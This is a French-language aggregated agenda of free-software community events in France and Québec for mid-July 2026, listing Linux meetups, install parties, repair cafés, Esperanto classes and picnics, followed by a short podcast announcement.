    Nous pourrons organiser à la suite du cours, des rencontres avec les espérantistes de Bordeaux, du pays basque… afin de pratiquer en situation réelle.

    N’hésitez pas à nous contacter par téléphone au 0688350981 (appel, SMS, Signal) pour plus d’informations ou pour vous inscrire.

    Vivu Esperanto kaj Ĝis la revido.

    [CA-QC Trois-Rivières] 5 à 9 Hybride Linux à Trois-Rivières – Le lundi 13 juillet 2026 de 17h00 à 20h00.

    🐧 5 à 9 Hybride Linux à Trois-Rivières

    Une rencontre amicale pour échanger, apprendre et réseauter.

    Le comité organisateur des Rencontres Linux au Québec est heureux de vous inviter à une édition spéciale à Trois-Rivières! À l’occasion du passage de Martial dans la région, nous organisons une rencontre en format 5 à 8 hybride.

    Que vous soyez un expert en administration système, un développeur chevronné ou simplement curieux de découvrir les alternatives libres, vous êtes le bienvenu !

    📅 Quand ?

    Lundi 13 juillet 2026

    De 17h00 à 20h00

    📍 Où ? (Format Hybride)

    Vous avez deux options pour participer:

    En personne (Trois-Rivières):

    Nous nous retrouverons au restaurant Pacini de Trois-Rivières. Nous visons une ambiance propice aux échanges avec un accès à une salle privée et un écran pour partager des démonstrations techniques.

    En virtuel (BigBlueButton):

    Pour ceux qui ne peuvent se déplacer, la rencontre sera diffusée en direct sur notre plateforme de visioconférence libre.

    Voir le lien ici

    📋 Au programme

    Réseautage décontracté: Faites connaissance avec la communauté Linux locale.
    Partage de trucs et astuces: Présentations informelles et entraide sur vos projets en cours.
    Tirage au sort: Un prix de présence sera offert parmi les participants à la fin de la rencontre.
    👥 Qui peut participer ?

    Absolument tout le monde ! Nos réunions accueillent une grande diversité de profils: étudiants, professionnels, enseignants, retraités et curieux. L’objectif est de dynamiser la communauté Linux et de favoriser l’entraide dans une atmosphère conviviale.

    🎟️ Inscription obligatoire

    La participation est gratuite. Toutefois, l’inscription est nécessaire pour nous permettre de confirmer le nombre exact de places au restaurant.

    Comité organisateur des Rencontres Linux au Québec

    [FR Dijon] Atelier du mardi – Le mardi 14 juillet 2026 de 15h00 à 19h00.

    Présentation de différents outils concernant les logiciels libres.

    Assistance technique.

    De préférence sur RDV directement sur le site de l’asso

    [CA-QC Québec] Rencontre hybride, ville de Québec – Le mardi 14 juillet 2026 de 17h00 à 22h00.

    Une rencontre amicale pour échanger, apprendre et réseauter.

    Le comité organisateur des Rencontres Linux au Québec est heureux de vous inviter à une édition spéciale dans la ville de Québec !

    À l’occasion du passage de Martial dans la région, Jérémy Viau-Trudel organise un spin-off local de RLQ dans la Capitale-Nationale.

    Que vous soyez débutant, passionné, professionnel des TI ou simplement curieux, vous êtes les bienvenus.

     Format hybride:

    • En présentiel à La Console (salle privée avec écran pour les présentations)
    • En ligne via BigBlueButton: Cliquez ici

    Programme:

    • 17 h à 19 h: Barbecue ReLaQx – réseautage convivial
    • 19 h: Mot du Linuxien en chef, Martial Bigras La tournée en cours, son intention et les 25 ans des Rencontres Linux au Québec
    • 19 h 30: Mot de l’initiateur, Jérémy Viau-Trudel Historique de Linux dans la ville de Québec, portrait actuel et perspectives d’avenir
    • 20 h: Pause
    • 20 h 30: Capsule Linux #1 (niveau débutant à intermédiaire)
    • 21 h: Capsule Linux #2 (niveau intermédiaire à avancé)
    • 21 h 20: Pause
    • 21 h 30: Table ronde sur la création d’un groupe RLQ dans la région de Québec

    La participation est gratuite, mais l’inscription est requise afin de nous permettre de confirmer le nombre de places disponibles au restaurant.

    Nous vous attendons nombreux pour cette soirée d’échanges, de découvertes et de réseautage autour de Linux !

    Comité organisateur des Rencontres Linux au Québec

    [FR Fourmies] La permanence du libre – Le mercredi 15 juillet 2026 de 13h30 à 17h00.

    Dans le cadre de la stratégie Rev3 de la ville de Fourmies est né le Central, Carrefour de la Résilience.

    À ce titre, l’Association Club Linux Nord Pas-de-Calais Fourmies vous accompagne et vous guide dans la configuration, la personnalisation et la prise en main de vos logiciels (Libres).

    C’est un espace de rencontres et d’échanges, uniquement basés sur les logiciels libres et le concept de l’open source.

    De 13h30 à 17h00 tous les mercredi, venez prendre en main vos logiciels libres et vos installations Linux Mint ou Mageia.

    La permanence du libre est un complément des install parties du samedi.

    Cette manifestation a lieu au Tiers-Lieu Le Central à Fourmies.

    [FR Gond-Pontouvre] Permanence du mercredi – Le mercredi 15 juillet 2026 de 14h00 à 18h00.

    Nous sommes convaincus depuis le début qu’un ordinateur n’est pas un consommable jetable et qu’on a tous le droit de comprendre et de maîtriser nos outils numériques. C’est de là qu’est née l’asso, à Gond-Pontouvre: un repaire de passionnés du libre et du bidouillage, où l’on défend les logiciels libres, la souveraineté technologique et le bon vieux plaisir de mettre les mains dans le cambouis. Au fil du temps, on a élargi le terrain de jeu, mais l’esprit reste le même: on apprend, on partage, on transmet.

    Le cœur historique, c’est le reconditionnement. On collecte des machines en fin de vie, on les teste sous toutes les coutures, et on leur offre une seconde jeunesse: passage en SSD pour réveiller les plus poussives, installation de Linux Mint pour un système libre, léger et accessible, et hop – un PC qu’on croyait bon pour la benne repart pour plusieurs années.

    Vous avez un vieux portable qui rame ou une tour oubliée au grenier? Apportez-la, on regarde ensemble.

    Côté fabrication numérique, le FabLab ouvre ses portes: venez concevoir et fabriquer vos projets sur nos machines – impression 3D (Creality K1 Max & K2 Plus), découpe et gravure laser (Falcon 2 Pro 60W), et de quoi toucher à
    l’électronique embarquée. Les bénévoles sont là pour vous guider – l’idée n’est pas de faire à votre place, mais de vous apprendre à faire.

    Entrée libre, esprit d’entraide et de partage des savoirs. Apportez vos questions, vos machines ou simplement votre curiosité.

    [FR Lamastre] Soirée Libre Bidouille – Le mercredi 15 juillet 2026 de 18h00 à 19h00.

    Le numérique est devenu omniprésent dans nos sociétés ultra-connectées. On le retrouve dans le milieu professionnel comme dans les rapports avec l’administration. De façon plus étonnante, il s’est même immiscé dans l’intimité: c’est pourquoi choisir un numérique de confiance est devenu essentiel.

    Les logiciels libres sont donc plus importants que jamais, car leur mode de développement est basé sur le partage des connaissances et l’échange de savoirs. Ils constituent un bien commun, accessible et réutilisable par tous. C’est donc un modèle informatique de confiance, renforcé par une éthique forte.

    de 18H00 à 19h00, présentation et discussions autour de Rézine. Rézine est un FAI local (Isère, Drôme, Ardèche), à prix juste, contrôlé par ses membres, neutre et émancipateur.

    à partir de 19h00 ce rendez-vous mensuel propose d’accompagner les utilisateurs et utilisatrices de logiciels libres dans la résolution de leurs problèmes informatiques (tous les deuxièmes ou troisièmes mercredis du mois suivant les disponibilités du lieu à partir de septembre 2023).

    C’est l’occasion de voir comment ça marche, de demander ou de donner un coup de pouce, de découvrir ou faire découvrir une astuce, d’installer GNU/Linux (si vous souhaitez faire une installation, nous prévenir est préférable).

    Ces soirées sont ouvertes à toustes, nous pensons organiser des thèmes sous forme d’ateliers pour la découverte d’un logiciel libre (graphisme, médias, bureautique, internet, outils système…) ou d’un thème (vie privée, programmation, CHATONS, auto-hébergement…).

    Cette année plusieurs autres événements sont à prévoir: Une Install-Party pour les ordinateurs qui ne pourront passer à Windows 11, c’est l’occasion pour vous de tester Linux et de donner une seconde vie à vos ordinateurs pour faire du bien à la planète, voir https://endof10.org/fr/ ou la campagne Adieu Windows des camarades de l’April.

    La distribution Debian passe à sa nouvelle release Trixie (Debian 13), si vous avez une distribution basée sur Debian il va falloir la mettre à jour.

    Une campagne de démailnagement pour quitter son adresse gmail (ou autre géants du web comme Apple Mail, Hotmail, Yahoo, Wanadoo, Outlook… qui posent les mêmes problèmes !) est en cours avec les CHATONS à laquelle nous participerons (voir https://www.demailnagement.net/).

    Si vous avez une demande particulière ou envie, vous aussi, de proposer aussi un atelier ou un thème, n’hésitez pas à faire signe ;) ou si vous souhaitez aussi organiser une activité d’information ou atelier vers chez vous, n’hésitez pas à nous le proposer, nous sommes prêts à nous déplacer dans la mesure du possible…

    Venez, pour:

    • une réponse à vos questions,
    • discuter de libertés,
    • approfondir ou échanger nos connaissances,
    • connaître des alternatives numériques, éthiques et respectueuses de vos données personnelles,
    • essayer un environnement GNU/Linux sur un ordinateur ou un RaspberryPi,
    • contribuer aux communs,
    • proposer un thème à travailler, si vous désirez maîtriser un thème en particulier,
    • contribuer à la connaissance et aux communs
    • installer une distribution GNU/Linux

    Soirée ouverte à tous, vous pouvez venir avec un ordinateur qui est sous Windows ou Mac, cela n’empêche pas d’utiliser des logiciels libres…

    Amenez vos ordinateurs, nous aurons une connexion Wifi… La connexion filaire est parfois pas très bonne, nous devrons parfois nous contenter d’un partage de connexion 4G…

    Important: Cette année, nous nous retrouverons tous les 2ᵉˢ mercredis du mois, mais le lieu de ce rendez-vous hebdomadaire peut changer. Nous mettrons à jour le lieu du rendez-vous au fur et à mesure au moins un mois à l’avance.

    [FR Tours] Rencontre locale OpenStreetMap – Le mercredi 15 juillet 2026 de 18h30 à 20h00.

    Apéro et discussion informelle autour d’OpenStreetMap en Touraine et au-delà.

    Comme d’habitude, nous ferons un petit tour de table des sujets et contributions de chacun⋅e.

    Ces rencontres sont ouvertes à tout le monde, même si vous débutez !

    [FR Bordeaux] Cours gratuits d’Espéranto – Le mercredi 15 juillet 2026 de 20h00 à 22h00.

    Saluton,

    Nous proposons une nouvelle session de cours d’Espéranto qui débuteront début juin au café Le Petit Grain, Place Dormoy à Bordeaux (c’est un café associatif avec des tarifs abordables dans le quartier de la gare Saint-Jean à côté de Barbey).

    L’espéranto est plus qu’une langue neutre et facile, mais aussi une langue fraternelle et libre qui permet de voyager dans le monde entier avec des facilités d’hébergement ou de fraterniser avec des personnes dans d’autres pays.

    Cette vidéo vous permettra d’en savoir plus: https://peertube.dc.pini.fr/w/akMZAKM9zJWG5mXLBtuQN4
    Vous trouverez également plus d’informations sur: https://esperanto-gironde.fr/lesperanto/, il y a l’abonnement à la lettre d’informations mensuelle qui est proposée en fin de chaque page afin de rester informé des activités espérantistes du coin.

    Les cours ont lieu le mercredi soir de 20h00 à 22h00, 10 soirs pour réaliser les 10 leçons. Ces leçons complètent le cours de l’application Duolingo.
    Début: mercredi 3 juin 2026.

    Les cours sont GRATUITS pour les membres du café associatif.
    Cependant, vous devrez adhérer au café associatif Le Petit Grain qui nous prête chaleureusement ses locaux si vous n’êtes pas membre. L’adhésion annuelle pour toute l’année 2026 est à prix libre conseillé à 5€, minimum 2€ et permet aussi la participation aux autres ateliers et activités.

    N’hésitez pas à nous contacter par téléphone au 0688350981 (appel, SMS, Signal) ou en répondant à ce message pour plus d’informations ou pour vous inscrire.
    Vous pouvez aussi nous rencontrer chaque 3ᵉ mercredi du mois de 18h00 à 19h30 au café Le Petit Grain ainsi que lors du défilé du 1ᵉʳ mai autour de notre banderole.

    Ĝis la revido.

    [CA-QC Rimouski] 5 à 8 Hybride Linux à Rimouski – Le mercredi 15 juillet 2026 de 17h00 à 20h00.

    🐧 5 à 8 Hybride Linux à Rimouski

    Une rencontre amicale pour échanger, apprendre et réseauter.

    Le comité organisateur des Rencontres Linux au Québec est heureux de vous inviter à une édition spéciale à Rimouski ! À l’occasion du passage de Martial dans la région, nous organisons une rencontre en format 5 à 8 hybride.

    Que vous soyez un expert en administration système, un développeur chevronné ou simplement curieux de découvrir les alternatives libres, vous êtes le bienvenu !

    📅 Quand ?

    Mercredi 15 juillet 2026

    De 17h00 à 20h00

    📍 Où ? (Format Hybride)

    Vous avez deux options pour participer:

    En personne (Rimouski):

    Nous nous retrouverons au restaurant Pacini de Rimouski. Nous visons une ambiance propice aux échanges avec un accès à une salle privée et un écran pour partager des démonstrations techniques.

    En virtuel (BigBlueButton):

    Pour ceux qui ne peuvent se déplacer, la rencontre sera diffusée en direct sur notre plateforme de visioconférence libre.

    https://bbb3.services-conseils-linux.org/Rencontres-Linux

    📋 Au programme

    • Réseautage décontracté: Faites connaissance avec la communauté Linux locale.
    • Partage de trucs et astuces: Présentations informelles et entraide sur vos projets en cours.
    • Tirage au sort: Un prix de présence sera offert parmi les participants à la fin de la rencontre.

    👥 Qui peut participer ?

    Absolument tout le monde ! Nos réunions accueillent une grande diversité de profils: étudiants, professionnels, enseignants, retraités et curieux. L’objectif est de dynamiser la communauté Linux et de favoriser l’entraide dans une atmosphère conviviale.

    🎟️ Inscription obligatoire

    La participation est gratuite. Toutefois, l’inscription est nécessaire pour nous permettre de confirmer le nombre exact de places au restaurant.

    Comité organisateur des Rencontres Linux au Québec

    [FR Dinan] Install Party – Donnez une nouvelle vie à votre – Le jeudi 16 juillet 2026 de 14h00 à 17h00.

    DinanUX, le Groupe d’Utilisateur•ices de Logiciels Libres (GULL) de Dinan et ses environs, organise une install’ party à la bibliothèque de Dinan.

    Venez avec votre ordinateur et son chargeur, sauvegardez vos documents importants au préalable et nous vous accompagnons pour installer Linux !

    Ordinateur en démonstration et assistance

    [FR Saint-Étienne] Install Party aux Forges – Le jeudi 16 juillet 2026 de 16h30 à 19h30.

    Le but de cette rencontre est que les participants repartent à la fin de l’atelier avec leur propre ordinateur fonctionnant sous système d’exploitation Linux, correctement installé, configuré et équipé des logiciels adéquats.

    Prérequis:

    Une Install Party vous accompagne pour que vous en repartiez avec un nouveau système d’exploitation sur votre machine.

    Il faut néanmoins s’y préparer: Il est indispensable de sauvegarder auparavant vos fichiers et données personnelles sur un support externe (clé USB ou disque dur externe) de capacité suffisante.

    En effet dans la plupart des cas l’ordinateur sera entièrement ré-initialisé, et même si ce n’est pas le cas, un risque de perte de données existe.

    À ce sujet consulter: Participer à une install partie GNU-Linux

    >> Plus d’infos et inscriptions

    [FR Saint-Jean-en-Royans] Atelier changer d’adresse e-mail – Le jeudi 16 juillet 2026 de 19h00 à 21h00.

    Pour mettre un pied en dehors des géants du numérique: changeons ensemble d’adresse e-mail.
    Un atelier de 2h pour revoir quelques bases puis changer en conscience et en douceur d’adresse e-mail.

    Suite à la causerie du 22 mai, un des besoins identifié est le changement d’adresse e-mail, alors on se retrousse les manches dans une ambiance conviviale pour un premier changement numérique.

    Avec l’appui du travail de défrichage de https://demailnagement.net

    [CA-QC Lévis] 5 à 8 Hybride Linux à Lévis – Le jeudi 16 juillet 2026 de 17h00 à 20h00.

    🐧 5 à 8 Hybride Linux à Lévis

    Une rencontre amicale pour échanger, apprendre et réseauter.

    Le comité organisateur des Rencontres Linux au Québec est heureux de vous inviter à une édition spéciale à Lévis ! À l’occasion du passage de Martial dans la région, nous organisons une rencontre en format 5 à 8 hybride.

    Que vous soyez un expert en administration système, un développeur chevronné ou simplement curieux de découvrir les alternatives libres, vous êtes le bienvenu !

    📅 Quand ?

    Jeudi 16 juillet 2026

    De 17h00 à 20h00

    📍 Où ? (Format Hybride)

    Vous avez deux options pour participer:

    En personne (Lévis):

    Nous nous retrouverons au restaurant Pacini de Lévis. Nous visons une ambiance propice aux échanges avec un accès à une salle privée et un écran pour partager des démonstrations techniques.

    En virtuel (BigBlueButton):

    Pour ceux qui ne peuvent se déplacer, la rencontre sera diffusée en direct sur notre plateforme de visioconférence libre.

    https://bbb3.services-conseils-linux.org/Rencontres-Linux

    📋 Au programme

    • Réseautage décontracté: Faites connaissance avec la communauté Linux locale.
    • Partage de trucs et astuces: Présentations informelles et entraide sur vos projets en cours.
    • Tirage au sort: Un prix de présence sera offert parmi les participants à la fin de la rencontre.

    👥 Qui peut participer ?

    Absolument tout le monde ! Nos réunions accueillent une grande diversité de profils: étudiants, professionnels, enseignants, retraités et curieux. L’objectif est de dynamiser la communauté Linux et de favoriser l’entraide dans une atmosphère conviviale.

    🎟️ Inscription obligatoire

    La participation est gratuite. Toutefois, l’inscription est nécessaire pour nous permettre de confirmer le nombre exact de places au restaurant.

    [FR Brest] Atelier d’été – Café vie privée – Le vendredi 17 juillet 2026 de 14h00 à 17h00.

    Un moment convivial sur le thème de la vie privée sur internet 🔒

    On discutera messagerie sécurisée, anonymat, et chiffrement autour d’un café ou d’un thé ☕

    Venez avec ou sans vos petits gâteaux, végane ou au beurre (salé) 🧈

    Entrée libre pour tout le monde.

    --

    Le local est accessible aux personnes à mobilité réduite

    Il y a des arceaux à vélo à proximité

    L’arrêt de bus le plus proche est: Cosmao Prétot, ligne 2B

    L’arrêt de tramway le plus proche est: Polygone

    [FR Antibes] Rencontre Accès Libre – Le vendredi 17 juillet 2026 de 18h00 à 21h00.

    Lors des rencontres accès libre, c’est l’occasion de:

    • discuter, échanger, expliquer;
    • installer des logiciels libres;
    • et, toute autre idée coopérative de solidarité à but non lucratif!

    Linux est un système d’exploitation complet, performant, stable et facile d’utilisation que nous vous aiderons à installer sur le média de votre choix (PC, clé bootable, etc.)

    [Internet] Pause Café Linux : Votre rendez-vous hebdomadaire – Le vendredi 17 juillet 2026 de 11h45 à 13h00.

    Pause Café Linux: Votre rendez-vous hebdomadaire

    Est-ce que Linux vous passionne ? Vous voulez simplement jaser de logiciels libres dans une ambiance décontractée ? Rejoignez-nous pour la Pause Café Linux, un rendez-vous unique dans la francophonie Linuxienne ! C’est le moment idéal pour briser l’isolement, partager vos découvertes et rencontrer d’autres passionnés de l’écosystème Linux au Québec.

    C’est quand ?

    Tous les vendredis midis (12h00 HAE, Québec).

    Apportez votre lunch, nous fournissons le café… virtuellement !

    Au programme

    • Discussion libre: Pas d’ordre du jour rigide, on parle de ce qui vous anime.
    • Tour de table rapide: Afin de mieux se connaître.
    • Le Brise-Glace: Une question thématique différente pour lancer la conversation.
    • Entraide et partage: Un espace bienveillant pour tous les niveaux, du débutant à l’expert.

    Comment participer ?

    • Échangez avec nous: Rejoignez notre canal de discussion sur Framateam pour vous présenter et rester informé. Rejoindre le canal Pause Café
    • Connectez-vous à la rencontre: Tous les vendredis midis, cliquez simplement sur le lien ci-dessous pour accéder à notre salon de visioconférence (BigBlueButton). Accéder au salon virtuel (BBB)

    Venez avec votre lunch, votre café, et surtout votre curiosité !

    La participation est gratuite, ouvert à tous!

    Notre réunion accueille une diversité de profils: étudiants, professionnels, gestionnaires, programmeurs, professeurs, ou retraités. Que votre passion soit l’administration système, le développement, ou la simple utilisation quotidienne, votre expérience est précieuse. Ensemble, nous pouvons approfondir notre compréhension des logiciels libres et contribuer à une communauté dynamique.

    Rejoignez-nous pour cette opportunité exceptionnelle de socialiser, d’apprendre, et de tisser des liens !

    Nous avons hâte de vous y accueillir.

    Le Comité organisateur des Rencontres Linux au Québec

    [FR Chaumont] Permanence Informatique – Le samedi 18 juillet 2026 de 09h00 à 12h00.

    REVOL, association engagée dans la promotion des logiciels libres, propose tous les samedis matin, de 9h à 12h, une permanence informatique associative ouverte à toustes, pour se pencher sur les difficultés rencontrées par chacun·e dans son usage de l’outil numérique.

    => Vous avez un problème avec votre ordinateur ?
    => Une question sur un logiciel libre ?
    => Envie de comprendre un peu mieux comment ça fonctionne ?

    On prend le temps avec vous, simplement.

    Nous pouvons vous accompagner sur:

    • le passage vers des systèmes libres (Linux Mint, MX Linux…)
    • l’installation et la prise en main de logiciels libres
    • la remise en état et la mise à jour de votre ordinateur (quand c’est possible)
    • des conseils pour mieux utiliser, sécuriser et prolonger la vie de votre matériel

    Et aussi… juste discuter (on a du café et des croissants).
    Que ce soit pour poser une question, réfléchir à vos usages ou découvrir le libre tranquillement.

    Pas besoin d’être expert·e: venez comme vous êtes.

    Nous sommes à notre local, 22 rue de Verdun à Chaumont (52000), en Haute-Marne.

    Un monde plus libre, loin des techno-fascistes, ça serait 🦉 quand même, non ?

    REVOL est là pour y contribuer !

    [FR Saint-Girons] Repair’Café aux ateliers de la liberté – Le samedi 18 juillet 2026 de 11h00 à 15h00.

    Un repair'café est organisé aux Ateliers de la liberté à Saint-Girons, mensuellement, l’avant-dernier samedi du mois, de 11h à 15h.

    Une équipe de bénévoles est présente pour aider au diagnostic d’objets (électroniques/électriques/mécaniques) cassés, pour comprendre leurs entrailles, guider sur leur réparation, ou animer des ateliers liés à la réparation.

    Si la réparation n’est pas possible, une aide est proposée pour trouver des solutions: changement de pièces (récupération, occasions, neuves), ou bidouillage pour donner une seconde vie à ces objets.

    En plus de la réparation, l’équipe peut vous aider à installer Linux sur votre machine ou à le dépanner, ainsi qu’à vous accompagner dans l’utilisation de logiciels libres.

    Il est conseillé de nous prévenir pour toute demande spécifique.

    Cet événement est ouvert à tous, que ce soit pour réparer un objet, pour du logiciel libre ou simplement vous renseigner, le tout gratuitement.

    [FR Quimperlé] Point info GNU/Linux – Le samedi 18 juillet 2026 de 13h30 à 17h30.

    Médiathèque de Quimperlé, place Saint Michel, pas d’inscription, entrée libre !

    Mickaël, Johann, Alain, et Yves vous accueillent (ou l’un d’eux, on se relaie !).

    Conseils, aide et infos pratiques GNU/Linux et Logiciels Libres.

    Curieux ? Déjà utilisateur ? Expert ? Pour résoudre vos problèmes, vous êtes le bienvenu ; pas besoin de prendre rendez-vous !

    N’hésitez pas à venir avec votre PC si vous voulez une installation de GNU/Linux ou de venir avec votre périphérique récalcitrant (imprimante, scanner…) si possible.

    [FR Nantes] Permanence Linux-Nantes – Le samedi 18 juillet 2026 de 15h00 à 18h00.

    Linux Nantes tient à vous informer de sa prochaine permanence. Nous vous proposons:

    • de vous faire découvrir Linux et les logiciels libres.
    • de vous aider à installer Linux sur votre ordinateur ou votre portable.
    • de vous informer sur l’utilisation de votre version de Linux et des logiciels libres.
    • de voir avec vous les problèmes rencontrés.

    Pour plus d’informations sur l’association: voir notre site.

    Pour des raisons pratiques, nous vous remercions de bien vouloir effectuer les sauvegardes de vos données personnelles avant de venir si une installation doit être effectuée.

    Avertissement ! Les permanences de Juillet 2026 seront les dernières avant les vacances estivales de Linux-Nantes. C’est également la dernière fois qu’elles se feront à B17 ; les suivantes auront désormais lieu au Pôle d’Activité Séverine (8 rue de Lorraine – 44000 Nantes)

    [FR Nîmes] Rencontre | Pique-nique du Libre – Le samedi 18 juillet 2026 de 17h00 à 20h00.

    Montpel’libre et ses partenaires vous proposent de nous retrouver toutes et tous, pour clore cette année très intense dans un esprit festif, à l’occasion d’un pique-nique aux Jardins de la Fontaine – 26 Quai de la Fontaine Nîmes. Où, les familles, enfants, curieux et bien sûr libristes sont les bienvenus.

    Ce pique-nique de fin d’année des libristes de toute la région est organisé pour boucler l’année dans la bonne humeur, évoquer les moments importants qui se sont déroulés dans l’année et ceux qui nous attendent à la rentrée.

    Les pique-niques de l’été

    Samedi 11 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Parc Rimbaud à Montpellier.
    Samedi 11 juillet 2026 à partir de 19h00, Wiknic (Cabalhérault), au Parc Rimbaud à Montpellier.
    Dimanche 12 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Plateau des Poètes à Béziers.
    Samedi 18 juillet 2026 à partir de 17h00, Pique-nique du Libre, aux Jardins de la Fontaine à Nîmes.
    Dimanche 19 juillet 2026 à partir de 17h00, Pique-nique du Libre, à Pierres Blanches à Sète.
    Dimanche 26 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Parc Jean Hugo à Lunel.

    Choisissez votre pique-nique. Mais bien sûr, vous pouvez participer à plusieurs pique-niques, voire à tous !
    L’été est là, bien installé, les oiseaux chantent, le soleil est au beau fixe, et vous souhaitez déjeuner entre amis sur l’herbe fraîchement coupée.

    Dès que l’on recommence à avoir des journées ensoleillées et chaudes, nous savons tous et toutes que la saison des pique-niques est arrivée ! Nous aimons, à n’en pas douter, absolument tout du concept des pique-niques: manger à l’extérieur sous le soleil ou à l’ombre des arbres, partager un repas convivial, simple, à la bonne franquette entre amis, avec la famille, profiter de la beauté de la nature qui nous entoure, prendre son temps et apprendre à ralentir et à reconnecter au moment présent le temps d’un repas.

    Même si l’été est déjà bien entamé, nous avons encore beaucoup de belles journées chaudes à venir et la chance de faire de nombreux pique-niques avant la fin de la saison estivale.

    Afin de favoriser l’échange et la convivialité, nous vous invitons à participer à ces repas partagés. Chaque participant est encouragé à apporter un plat fait maison (entrée, plat principal, dessert, fruits, boissons…) à partager avec les autres. C’est l’occasion de découvrir de nouvelles saveurs tout en échangeant des idées et des expériences autour, vous l’aurez deviné, des logiciels libres.

    Ces rencontres sont aussi l’occasion de discuter des projets communautaires, d’apprendre ensemble, et de promouvoir un mode de vie plus libre, collaboratif et respectueux de l’environnement. N’hésitez pas à apporter également des jeux de plein air ou des instruments de musique pour ajouter encore plus de convivialité et de bonne humeur à ces moments partagés en pleine nature que nous affectionnons tous et toutes.

    [CA-QC Vaudreuil-Dorion] Rencontres Linux au Québec – Le samedi 18 juillet 2026 de 11h00 à 14h30.

    En présentiel: Pacini

    Pour inscription et avoir le lien en virtuel: Cliquez ici

    Avis à tous les passionnés de Linux de la région de Vaudreuil-Dorion !

    Vous souhaitez rencontrer d’autres utilisateurs et experts des systèmes Linux et des logiciels libres ? Martial organise une rencontre conviviale autour d’un bon repas pour lier l’utile à l’agréable (de 11:00 à 14:30).

    Nous nous retrouverons dans un restaurant avec une ambiance propice à l’échange. Nous aurons accès à une salle privée avec un projecteur pour faciliter le partage de trucs et astuces et maximiser la discussion entre participants.

    Cet événement est l’occasion parfaite pour:

    • Réseauter et échanger avec la communauté locale de passionné(e)s.
    • Partager vos meilleures astuces, vos découvertes et vos projets sous Linux.
    • Apprendre des autres, peu importe votre niveau d’expertise.

    Il y aura quelques capsules éducatives Linux et on aura un échange de trucs et astuces sur Linux en groupe !

    Ouvert à tous, du débutant à l’expert

    Notre réunion accueille une diversité de profils: étudiants, professionnels, gestionnaires, programmeurs, professeurs, ou retraités. Que votre passion soit l’administration système, le développement, ou la simple utilisation quotidienne, votre expérience est précieuse. Ensemble, nous pouvons approfondir notre compréhension des logiciels libres et contribuer à une communauté dynamique.

    La participation est gratuite et un prix de présence seront offerts par tirage au sort à la fin de la rencontre !

    Rejoignez-nous pour cette opportunité exceptionnelle de socialiser, d’apprendre, et de tisser des liens ! Nous avons hâte de vous y accueillir.

    Comité organisateur des Rencontres Linux au Québec

    [FR Sète] Rencontre | Pique-nique du Libre – Le dimanche 19 juillet 2026 de 17h00 à 20h00.

    Montpel’libre et ses partenaires vous proposent de nous retrouver toutes et tous, pour clore cette année très intense dans un esprit festif, à l’occasion d’un pique-nique au Mont Saint-Clair, Pierres Blanches, 1205 allée Pierre Barthas, 34200 Sète. Où, les familles, enfants, curieux et bien sûr libristes sont les bienvenus.

    Ce pique-nique de fin d’année des libristes de toute la région est organisé pour boucler l’année dans la bonne humeur, évoquer les moments importants qui se sont déroulés dans l’année et ceux qui nous attendent à la rentrée.

    Les pique-niques de l’été

    Samedi 11 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Parc Rimbaud à Montpellier.
    Samedi 11 juillet 2026 à partir de 19h00, Wiknic (Cabalhérault), au Parc Rimbaud à Montpellier.
    Dimanche 12 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Plateau des Poètes à Béziers.
    Samedi 18 juillet 2026 à partir de 17h00, Pique-nique du Libre, aux Jardins de la Fontaine à Nîmes.
    Dimanche 19 juillet 2026 à partir de 17h00, Pique-nique du Libre, à Pierres Blanches à Sète.
    Dimanche 26 juillet 2026 à partir de 17h00, Pique-nique du Libre, au Parc Jean Hugo à Lunel.

    Choisissez votre pique-nique. Mais bien sûr, vous pouvez participer à plusieurs pique-niques, voire à tous !
    L’été est là, bien installé, les oiseaux chantent, le soleil est au beau fixe, et vous souhaitez déjeuner entre amis sur l’herbe fraîchement coupée.

    Dès que l’on recommence à avoir des journées ensoleillées et chaudes, nous savons tous et toutes que la saison des pique-niques est arrivée ! Nous aimons, à n’en pas douter, absolument tout du concept des pique-niques: manger à l’extérieur sous le soleil ou à l’ombre des arbres, partager un repas convivial, simple, à la bonne franquette entre amis, avec la famille, profiter de la beauté de la nature qui nous entoure, prendre son temps et apprendre à ralentir et à reconnecter au moment présent le temps d’un repas.

    Même si l’été est déjà bien entamé, nous avons encore beaucoup de belles journées chaudes à venir et la chance de faire de nombreux pique-niques avant la fin de la saison estivale.
    Afin de favoriser l’échange et la convivialité, nous vous invitons à participer à ces repas partagés. Chaque participant est encouragé à apporter un plat fait maison (entrée, plat principal, dessert, fruits, boissons…) à partager avec les autres. C’est l’occasion de découvrir de nouvelles saveurs tout en échangeant des idées et des expériences autour, vous l’aurez deviné, des logiciels libres.

    Ces rencontres sont aussi l’occasion de discuter des projets communautaires, d’apprendre ensemble, et de promouvoir un mode de vie plus libre, collaboratif et respectueux de l’environnement. N’hésitez pas à apporter également des jeux de plein air ou des instruments de musique pour ajouter encore plus de convivialité et de bonne humeur à ces moments partagés en pleine nature que nous affectionnons tous et toutes.

    [FR Frontignan] Café LINUX : adieu windows, bonjour Linux – Le dimanche 19 juillet 2026 de 18h00 à 20h00.

    Venez découvrir le système d’exploitation sous licence libre Linux grâce aux conseils et à l’accompagnement du Hacker Space du Bassin de Thau (association HSBT).

    Un moment convivial et gratuit à l’heure de l’apéro pour toutes les personnes qui souhaitent remplacer leur système d’exploitation Windows ou Mac par une solution alternative.

    La buvette de la Hune est ouverte pour l’occasion !

    Ouvert à toutes et tous, il suffit de savoir utiliser une souris sur un PC.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

    Reçu — 10 juillet 2026 LinuxFr.org : les dépêches

    Synergies GULL/Restos du Cœur - « Libre à vous ! » du 30 juin 2026 - Podcasts et références

    10 juillet 2026 à 14:23

    281ème émission Libre à vous ! de l’April. Podcast et programme :

    • sujet principal : synergies GULL/Restos du Cœur : l’expérience dans le Loiret avec Cenabumix, avec Jean Carratala et Pierre Meunier-Sirven
    • la chronique La pituite de Luk sur « Problème : climat et calculs »
    • la chronique F/H/X de Florence Chabanois sur « Entraînée à discriminer »

    Rendez‑vous en direct chaque mardi de 15 h 30 à 17 h sur 93,1 FM en Île‑de‑France. L’émission est diffusée simultanément sur le site Web de la radio Cause Commune.

    Vous pouvez laisser un message sur le répondeur de la radio, pour réagir à l’un des sujets de l’émission ou poser une question. Le numéro du répondeur : +33 9 72 51 55 46.

    Commentaires : voir le flux Atom ouvrir dans le navigateur

